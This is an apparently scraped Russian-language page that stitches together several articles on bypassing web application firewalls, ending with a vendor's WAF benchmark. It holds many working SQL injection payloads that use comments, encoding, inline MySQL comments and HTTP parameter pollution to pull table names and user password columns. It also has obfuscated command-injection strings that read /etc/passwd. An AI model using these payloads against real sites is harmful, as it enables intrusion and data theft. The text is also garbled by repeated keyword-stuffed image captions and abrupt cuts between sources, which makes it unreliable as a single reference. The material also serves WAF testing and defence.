Waf bypass что это

Waf bypass что это

Информация предназначена исключительно для ознакомления. Не нарушайте законодательство.

Web Application Firewall — популярный инструмент для противодействия атакам на веб-приложения. В этой статье я продемонстрирую несколько способов обхода WAF.

WAF bypass: SQL injection

Waf bypass что это. burp. Waf bypass что это фото. Waf bypass что это-burp. картинка Waf bypass что это. картинка burp

Waf bypass что это. burp2. Waf bypass что это фото. Waf bypass что это-burp2. картинка Waf bypass что это. картинка burp2

Такой прием позволяет выполнить обход WAF, при этом на стороне веб-приложения запрос будет собран и обработается, как union select : [«1807192982′)) union/**/select/**/1,/**/2,/**/3,/**/4,/**/5,/**/6,/**/7,/**/8,/**/9,/**/’pentestit’,/**/11#»]

Также, можно использовать замену отдельных символов на их 16-ричный код: [«1807192982′)) %2f**%2funion%2f**%2fselect (1),(2),(3),(4),(5),(6),(7),(8),(9),(0x70656e746573746974),(11)#»]

Данный способ схож с предыдущим, но здесь в 16-ричный код переводится «слэш».

WAF bypass: RCE

Waf bypass что это. burp3. Waf bypass что это фото. Waf bypass что это-burp3. картинка Waf bypass что это. картинка burp3

Попробуем изменить запрос:
cat /etc/pa?swd
cat /etc/pa’ss’wd
cat /etc/pa**wd

Waf bypass что это. burp4. Waf bypass что это фото. Waf bypass что это-burp4. картинка Waf bypass что это. картинка burp4

Метод, похожий на предыдущий, с использованием функции awk : c\a\t \/\e\t\c/\p\a\s\sw\d
В bash при помощи \ можно экранировать символы. Воспользуемся этой возможностью для составления запроса.

Таким образом, выявление атак на основе сигнатур не является надежным средством защиты веб-приложения. Понимание принципа составления сигнатур и использование машинного обучения поможет справиться с методами обхода систем защиты.

P.S.: Если вы используете WAF — убедитесь, что он блокирует приведенные примеры их модификации.

Оставить комментарий Отменить ответ

Для отправки комментария вам необходимо авторизоваться.

Источник

За рамками SQLi: обфускация и обход

Здесь будут показаны продвинутые техники обхода фильтров и обфускации, многие из которых могут быть применимы к реальным CMS и WAF.

Waf bypass что это. d3680cafbae3dc68b25a53091e645f95. Waf bypass что это фото. Waf bypass что это-d3680cafbae3dc68b25a53091e645f95. картинка Waf bypass что это. картинка d3680cafbae3dc68b25a53091e645f95

Содержание

Добро пожаловать, читатель. То, что ты видишь – результат долгих попыток документирования продвинутых техник эксплуатации SQL-инъекций, над которыми мы работали. Здесь будут показаны продвинутые техники обхода фильтров и обфускации, многие из которых могут быть применимы к реальным CMS и WAF. Предложенные в данном документе примеры SQL-инъекций – лишь некоторые из путей обхода защиты. Существуют и другие техники, которые могут быть использованы при атаке веб-приложений, но, к сожалению, мы не можем раскрыть их здесь, поскольку они используют уязвимости «нулевого дня». Тем не менее, цель данного документа – показать, что в реальном мире ни одна система не является абсолютно защищенной. Даже если ее охраняет WAF за 300 тысяч долларов.

Документ разделен на 7 разделов, но техническая информация содержится только в разделах с 0x01 по 0x03.

В этом разделе будут описаны поведения filter evasion основанные на PHP и MySQL и то, как обойти фильтрацию. Filter evasion – техника, используемая для предотвращения атак типа SQL-инъекция. Она может осуществляться путем использования фильтрации функций SQL, ключевых слов или регулярных выражений. Это означает, что filter evasion сильно зависит от того, в каком виде хранится черный список или регулярные выражения. Если черный список или регулярное выражение не покрывают всевозможные сценарии инъекций, то веб-приложение по-прежнему уязвимо к SQL-инъекциям.

Фильтрация функций и ключевых слов оберегает веб-приложения от атак c помощью черного списка функций и ключевых слов. Если атакующий посылает код инъекции, содержащий функцию или ключевое слово из черного списка, то инъекция потерпит неудачу. Тем не менее, если атакующий имеет возможность изменить инъекцию, использовав иную функцию или ключевое слово, то черный список не сможет предотвратить атаку. Чтобы предотвращать атаки, черный список должен содержать много функций и ключевых слов. Однако, это мешает легальным пользователям посылать запросы, содержащие запретные слова. Они просто будут отфильтрованы по черному списку. Следующие сценарии показывают примеры использования фильтрации ключевых слов и функций, а также техники обхода фильтрации.

Из приведенных выше примеров видно, что существует сразу несколько SQL-выражений, позволяющих обойти черный список, хотя он содержит довольно много функций и ключевых слов. Более того, данный черный список можно обойти огромным количеством SQL-выражений, не попавших в примеры.

[0x01b] – Обход фильтрации по регулярным выражениям

Фильтрация по регулярным выражениям – более совершенное решение для предотвращения SQL-инъекций, чем фильтрация функций и ключевых слов. Она использует проверку соответствия шаблонам (а не отдельным словам) для обнаружения атаки. Запросы легальных пользователей обрабатываются при этом более гибко.

Тем не менее, регулярные выражения тоже можно обойти. Следующие примеры иллюстрируют скрипты инъекций, используемые для обхода регулярных выражений в PHPIDS 0.6 (свободно распространяемой системе обнаружения вторжений для веб-приложений).

PHPIDS обычно блокирует запросы, содержащие = или ( или ‘, за которыми следует любая строка или целое число. Однако, это можно обойти, используя выражение, не содержащее симолов =, ( и ‘.

[Code]—————————————————————
Отфильтрованная инъекция: 1 or 1 = 1
Пропущенная инъекция: 1 or 1
[End Code]————————————————————
[Code]—————————————————————
Отфильтрованная инъекция: 1 union select 1, table_name from
information_schema.tables where table_name = ‘users’
Отфильтрованная инъекция: 1 union select 1, table_name from
information_schema.tables where table_name between ‘a’ and ‘z’
Отфильтрованная инъекция: 1 union select 1, table_name from
information_schema.tables where table_name between char(97) and char(122)
Пропущенная инъекция: 1 union select 1, table_name from
information_schema.tables where table_name between 0x61 and 0x7a
Пропущенная инъекция: 1 union select 1, table_name from
information_schema.tables where table_name like 0x7573657273
[End Code]————————————————————

В этом разделе упоминаются техники WAF. Прежде всего вам нужно узнать, что такое WAF.

Файрвол Веб-Приложений (WAF) – это программно-аппаратный комплекс, плагин сервера или фильтр, который применяет набор правил к HTTP-диалогу. Обычно эти правила покрывают распространенные атаки вроде межсайтового скриптинга (XSS) или SQL-инъекции. Адаптация правил WAF к вашим приложениям позволит обнаружить и блокировать множество атак. Однако, адаптация правил может потребовать значительных усилий и должна возобновляться после внесения изменений в приложение.

WAF часто называют «Файрволы с глубоким исследованием пакетов», так как они просматривают каждый запрос и ответ для протоколов HTTP/HTTPS/SOAP/XML-RPC. Некоторые современные WAF-системы обнаруживают атаки как по сигнатурам, так и по отклонениям в поведении.

Теперь давайте поймем, как пробиться через WAF с помощью обфускации. Все WAF можно обойти, поняв со временем их правила, или используя свое воображение!

2. Изменение регистра букв
Некоторые WAF фильтруют ключевые слова записанные только в нижнем регистре
Фильтр регулярных выражений: /union\sselect/g

3. Замещение ключевых слов
Некоторые приложения и WAF используют preg_replace, чтобы убрать из запроса все ключевые слова SQL. Это можно легко обойти.
[Code]—————————————————————
http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3—
[End Code]————————————————————
В некоторых случаях ключевые слова SQL отфильтровываются и заменяются пробелами. Это можно обойти, используя «%0b».
[Code]—————————————————————
http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3—
[End Code]————————————————————
В случае Mod_rewrite, обход с помощью комментариев «/**/» невозможен. Так что мы используем «%0b» вместо «/**/».
Запрещено: http://victim.com/main/news/id/1/**/||/**
/lpad(first_name,7,1).html
Пропущено: http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html

[SecRule]—————————————————————————
SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* «\bunion\b.<1,100>?
\bselect\b» \ «phase2,rev:’2.2.1′,capture,t:none,
t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,
t:compressWhiteSpace,ctl:auditLogParts=+E,block,
msg:’SQL Injection
Attack’,id:’959047′,tag:’WEB_ATTACK
/SQL_INJECTION’,tag:’WASCTC/WASC-19′,tag:’OWASP_TOP_10/A1′,
tag:’OWASP_AppSensor/CIE1′,tag:’PCI/6.5.2′,logdata:’%
‘,severity:’2’,setvar:’tx.msg=%‘,
setvar:tx.sql_injection_score=+%
,setvar:tx.anomaly_score=+%,
setvar:tx.%-WEB_ATTACK/SQL_INJECTION-%=%»
[End Rule]————————————————————————-
Следующий код позволяет обойти их фильтр:
[Code]——————————————————————————
http://victim.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo
%0D%0A1%2C2%2Ccurrent_user
[End Code]—————————————————————————
Эта атака позволяет обойти правило фильтрации Mod Security. Давайте посмотрим, что происходит!
MySQL Server поддерживает 3 вида комментариев:
— От символа «#» до конца строки
— От последовательности «—» до конца строки
— Си-подобный: между «/*» и «*/».
Такой синтаксис (си-подобный) позволяет комментарию растягиваться на несколько
строк, так как открывающая и закрывающая последовательности
не обязаны лежать в одной строке. В следующем примере мы использовали
последовательность «%0D%0A» в качестве символов новой строки.
Давайте рассмотрим первый запрос (выявляющий имя пользователя БД). Результирующий (декодированный) SQL-код выглядит примерно так:
0 div 1 union#foo*/*/bar
select#foo
1,2,current_user
А в итоге (учитывая комментарии) MySQL DB выполняет такой код:
0 div 1 union select 1,2,current_user

5. Переполнение буфера.
WAF, написанный на языке Си, потенциально уязвим к переполнению и может вести себя
нетипично при больших объемах передаваемых данных.
Передача большого объема данных позволяет нашему коду выполниться.
[Code]——————————————————————————
http://victim.com/news.php?id=1+and+(select 1)=(select
0x414141414141441414141414114141414141414141414141414141
414141414141….)+union+select+1,2,version(),database(),user(),6,7,8,9,10—
[End Code]—————————————————————————

6. Встроенные комментарии (Только Mysql)
Согласно справочному руководству по MySQL 5.0, MySQL Server поддерживает некоторые
особые варианты Cи-подобных комментариев.
Использование комментария следующего вида позволяет писать переносимый код,
включающий расширения, специфичные для MySQL:
/*! Код, специфичный для MySQL */
MySQL Server разберет и выполнит код, заключенный в такой комментарий, как любое
другое SQL-выражение, но остальные SQL-серверы его проигнорируют.
Множество WAF фильтрует ключевые слова SQL примерно так: /union\sselect\ig Мы можем
обойти этот фильтр, используя встроенные комментарии.
[Code]——————————————————————————
http://victim.com/news.php?id=1/*!UnIoN*/SeLecT+1,2,3—
[End Code]—————————————————————————
Встроенные комментарии могут быть использованы в любом месте SQL выражения.
Так что, если table_name или information_schema фильтруются, мы можем использовать
больше встроенных комментариев.
[Code]——————————————————————————
http://victim.com/news.php?id=/*!UnIoN*/+/*!SeLecT*
/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables
/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()—
[End Code]—————————————————————————
В недавнем тесте на проникновение мы смогли обойти Mod Security CRS и PentaSecurity-
WAPPLE, используя эту технику. Подробнее смотри ниже:
################################################################################
Производитель: Penta Security System
Продукт: Wapple Web Application Firewall
Патч выпущен: 2011-10-02 (In SQL Injection Custom Policy Mode)
Дата релиза: 2011-10-04
Информацию предоставили: Prathan Phongthiproek and Suphot Boonchamnan

Эти скрипты могут [обойти] все правила фильтрации SQL-инъекций:
1 ||1=1
1 /*!order by*/ 3
1 /*!union select*/ 1,table_name from /*!information_schema.tables*/
1 /*!union select*/ 1,column_name from /*!information_schema.columns where table_name = 0x7573657273*/
1 /*!union select*/ /*!user,password*/ from /*!users*/
#####################################################################################

[0x03] – Продвинутые техники обхода

Пример HPP: «http://victim.com/search.aspx?par1=val1&par1=val2»

Обработка HTTP параметров: (пример)

Веб-серверИнтерпретация параметровПример
ASP.NET/IISСклеивание через запятуюpar1=val1,val2
ASP/IISСклеивание через запятуюpar1=val1,val2
PHP/ApacheРезультат – последнее значениеpar1=val2
JSP/TomcatРезультат – первое значениеpar1=val1
Perl/ApacheРезультат – первое значениеpar1=val1
DBManСклеивание через две тильдыpar1=val1

Что случится с WAF, которые разбирают строку запроса перед применением фильтров? (HPP может использоваться даже для обхода WAF). Некоторые бестолковые WAF могут анализировать и проверять только одно вхождение параметра (первое или последнее). Всякий раз, когда соответствующая среда склеивает множественные вхождения параметра (ASP, ASP.NET, DBMan,…), атакующий может разделить вредоносный код.

В недавнем тесте на проникновение (опять) нам удалось обойти Imperva SecureSphere используя «HPP+встроенный комментарий» в среде ASP/ASP.NET. С помощью этого приема можно обходить и коммерческие WAF. Более подробная информация указана ниже:

#Примеры из реального мира:
1. Mod Security CRS (Предоставил: Lavakumar Kuppan)
The following request matches against the ModSecurity CRS as a SQL Injection attack and is blocked.
Следующий запрос ModSecurity CRS считает атакой типа SQL-инъекция, и потому
блокирует.
Запрещено: http://victim.com/search.aspx?q=select name,password from users
Когда тот же код разделяется на несколько параметров с одинаковыми именами,
ModSecurity его не блокирует.
Пропущено: http://victim.com/search.aspx?q=select name&q=password from users
Посмотрим, что происходит. Вот интерпретация ModSecurity:
q=select name
q=password from users
А вот интерпретация ASP/ASP.NET:
q=select name,password from users
*Замечание: подобную атаку можно провести и с POST-переменными.

2. Коммерческие WAF
Запрещено: http://victim.com/search.aspx?q=select name,password from users
Теперь используем HPP+встроенный комментарий для обхода.
Пропущено: http://victim.com/search.aspx?q=select/*&q=*/name&
amp;q=password/*&q=*/from/*&q=*/users
Проанализируем. Вот интерпретация WAF:
q=select/*
q=*/name
q=password/*
q=*/from/*
q=*/users
Вот интерпретация ASP/ASP.NET:
q=select/*,*/name,password/*,*/from/*,*/users
q=select name,password from users

Проще всего справиться с этой атакой WAF может, запретив множественные вхождения параметра в одном HTTP-запросе. Это предотвратит все разновидности данной атаки.

Однако, такой запрет может оказаться невозможным в случаях, когда защищаемому приложению необходима возможность множественных вхождений параметров. В этом случае WAF должен интерпретировать HTTP-запрос так же, как это сделало бы приложение.

В основе HTTP Parameter Contamination (HPC) лежит инновационный подход, найденный в ходе более глубокого исследования HPP и использования странного поведения компонентов веб-серверов, веб-приложений и браузеров в результате замусоривания параметров строки запроса зарезервированными или не ожидаемыми символами.

Разные веб-сервера по-разному обрабатывают специально сформированные запросы. Можно назвать больше комбинаций серверов, движков и специальных символов, но для примера в этот раз нам хватит.

Источник

Приручаем WAF’ы. Как искать байпасы в современных Web Application Firewalls и что с ними делать

Waf bypass что это. bypass waf h. Waf bypass что это фото. Waf bypass что это-bypass waf h. картинка Waf bypass что это. картинка bypass waf h

Содержание статьи

Xakep #214. Приручаем WAF’ы

WARNING

Как работает WAF

Давайте рассмотрим механизмы работы WAF изнутри. Этапы обработки входящего трафика в большинстве WAF одинаковы. Условно можно выделить пять этапов:

Все этапы, кроме четвертого, хорошо изучены и в большинстве файрволов одинаковы. О четвертом пункте — правилах детектирования — дальше и пойдет речь. Если проанализировать виды логик обнаружения атак в пятнадцати наиболее популярных WAF, то лидировать будут:

Большинство WAF используют именно механизмы регулярных выражений («регэкспы») для поиска атак. На это есть две причины. Во-первых, так исторически сложилось, ведь именно регулярные выражения использовал первый WAF, написанный в 1997 году. Вторая причина также вполне естественна — это простота подхода, используемого регулярками.

Waf bypass что это. 1482062965 a191 1. Waf bypass что это фото. Waf bypass что это-1482062965 a191 1. картинка Waf bypass что это. картинка 1482062965 a191 1 Наиболее популярные техники детекта вредоносной нагрузки в WAF

Напомню, что регулярные выражения выполняют поиск подстроки (в нашем случае — вредоносного паттерна) в тексте (в нашем случае — в HTTP-параметре). Например, вот одна из самых простых регулярок из ModSecurity:

Источник

Я твой WAF payload шатал

Waf bypass что это. 8a344e969dc4927a93152723adf5b066. Waf bypass что это фото. Waf bypass что это-8a344e969dc4927a93152723adf5b066. картинка Waf bypass что это. картинка 8a344e969dc4927a93152723adf5b066

Критерии оценки

Зоопарк из UTF-8

Чтобы понять, сколько тонкостей существует при анализе запросов, рассмотрим в качестве примера особенность работы с UTF-8. Если в поисковой строке сайта мы наберем что-то в английской раскладке, то, скорее всего, будет использоваться набор Basic Latin.

Waf bypass что это. image loader. Waf bypass что это фото. Waf bypass что это-image loader. картинка Waf bypass что это. картинка image loaderUTF-8: Basic Latin

При этом запрос, который будет передаваться в веб-приложение, выглядит следующим образом: GET /?s=test

Waf bypass что это. image loader. Waf bypass что это фото. Waf bypass что это-image loader. картинка Waf bypass что это. картинка image loaderИщем «test», фиксируем вывод

Теперь попробуем использовать набор символов из Halfwidth and Fullwidth Forms (ищем тот же test, только с другим набором символов).

Waf bypass что это. ce978302242d96915f1df331d542c4a0. Waf bypass что это фото. Waf bypass что это-ce978302242d96915f1df331d542c4a0. картинка Waf bypass что это. картинка ce978302242d96915f1df331d542c4a0UTF-8: Halfwidth and Fullwidth Forms

Waf bypass что это. image loader. Waf bypass что это фото. Waf bypass что это-image loader. картинка Waf bypass что это. картинка image loaderИспользуем другой набор символов и получаем тот же результат в поисковой выдаче

Запрос (в URLencode): GET /?s=%EF%BD%94%EF%BD%85%EF%BD%93%EF%BD%94

Данная особенность позволяет выполнять обход WAF, если он не нормализует символы до Basic Latin. Существует множество техник обхода, и было бы здорово создать инструмент, позволяющий разом их все проверить.

WAF Bypass: инструментарий

На github можно найти множество решений, позволяющих тестировать WAF, есть даже специальные аккаунты, производящие сбор такого инструментария, например waflib.

Для использования waf-bypass, написанного на Python3, необходимо клонировать проект, установить зависимости и запустить скрипт:

Если следовать документации, Go Test WAF можно запускать из докер-контейнера, что я и сделал:

Если проводить сравнение инструментов исходя из их использования, то Go Test WAF работает быстрее (за счет многопоточности) и содержит небольшой набор для проверки False Positive. Учтем это в следующих релизах waf-bypass.

Вижу цель, иду к ней!

Тестировать буду 2 версии: Nemesida WAF (полноценную с машинным обучением) и Nemesida WAF Free (бесплатную, но только с сигнатурным анализом).

Когда увидел результаты тестов WAF

В обзоре Vulners в финальной таблице максимальным результатом WAF, полученным путем тестирования Go Test WAF, являлось значение 83.06%, при этом ModSecurity набрал 49.82%. Интересно посмотреть, сколько сможет набрать Nemesida WAF и Nemesida WAF Free.

Nemesida WAF Free bypass

Waf bypass что это. image loader. Waf bypass что это фото. Waf bypass что это-image loader. картинка Waf bypass что это. картинка image loaderЧасть содержимого первой страницы Личного кабинета Nemesida WAF Free

Запускаем Go Test WAF, смотрим результаты.

Waf bypass что это. image loader. Waf bypass что это фото. Waf bypass что это-image loader. картинка Waf bypass что это. картинка image loaderNemesida WAF Free: GoTestWAF

Waf bypass что это. image loader. Waf bypass что это фото. Waf bypass что это-image loader. картинка Waf bypass что это. картинка image loaderNemesida WAF Free: waf-bypass

325 пропусков и 1054 заблокированных пейлоадов. Пытаемся запомнить результаты и двигаемся дальше.

Nemesida WAF bypass

Помимо функционала нормализации данных, Nemesida WAF позволяет производить декодирование запросов в различных кодировках, в том числе и в Base64, поэтому было особенно интересно, какой скор он сможет набрать. Начнем с waf-bypass, запускаем, смотрим результаты:

Waf bypass что это. image loader. Waf bypass что это фото. Waf bypass что это-image loader. картинка Waf bypass что это. картинка image loaderNemesida WAF: waf-bypass

Waf bypass что это. image loader. Waf bypass что это фото. Waf bypass что это-image loader. картинка Waf bypass что это. картинка image loaderNemesida WAF: gotestwaf

Из них ошибочно заблокированные:

Waf bypass что это. image loader. Waf bypass что это фото. Waf bypass что это-image loader. картинка Waf bypass что это. картинка image loader

Запускаем тест заново:

Waf bypass что это. image loader. Waf bypass что это фото. Waf bypass что это-image loader. картинка Waf bypass что это. картинка image loaderNemesida WAF: gotestwaf (с FP в обучающей выборке)

Чтобы разобраться в пропусках, я настроил журналирование Nginx таким образом, чтобы фиксировать содержимое запросов, не получивших код ответа 403:

Расширенное журналирование Nginx

1. В секцию http <> добавив:

2. В секцию server <> файла виртуального хоста (например, /etc/nginx/conf.d/1.conf) добавив:

access_log /var/log/nginx/extended_access.log extended if=$loggable;

После перезапуска Nginx в /var/log/nginx/extended_access.log будут попадать все незаблокированные запросы (не получившие код ответа 403).

Фактически пропусков было всего 3, и об их критичности судите сами:

GET /foo_bar=foo bar=foo[barfoo[bar

Визуализация атак: графики, поиск, отчеты

Личный кабинет: графики и диаграммы Личный кабинет: графики и диаграммы Личный кабинет: графики и диаграммы Nemesida WAF: информация об атаках

Демонстрационный стенд:

И пока на версусе решают, кто из них круче.

Как я писал выше, есть несколько показателей оценки качества работы ПО, для WAF одним из основных критериев является количество ложных срабатываний и пропусков, и было очень увлекательно и полезно выполнять проверки с использованием сторонних байпасеров, за что отдельная благодарность разработчикам Go Test WAF.

Кроме этого, такие тесты позволяют наглядно понять разницу между сигнатурным анализом и машинным обучением, необходимость использовать различные механизмы нормализации и декодирования. Но если по какой-то причине использовать коммерческий продукт нет возможности, всегда можно воспользоваться ModSecurity, NAXSI или Nemesida WAF Free с красивым и удобным Личным кабинетом. Nemesida WAF Free доступен в виде установочных дистрибутивов для Debian/Ubuntu/CentOS, в виде Virtual Appliance для KVM/VirtualBox/VMWare и образа для Docker-контейнера. Больше информации можно найти здесь.

Источник

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *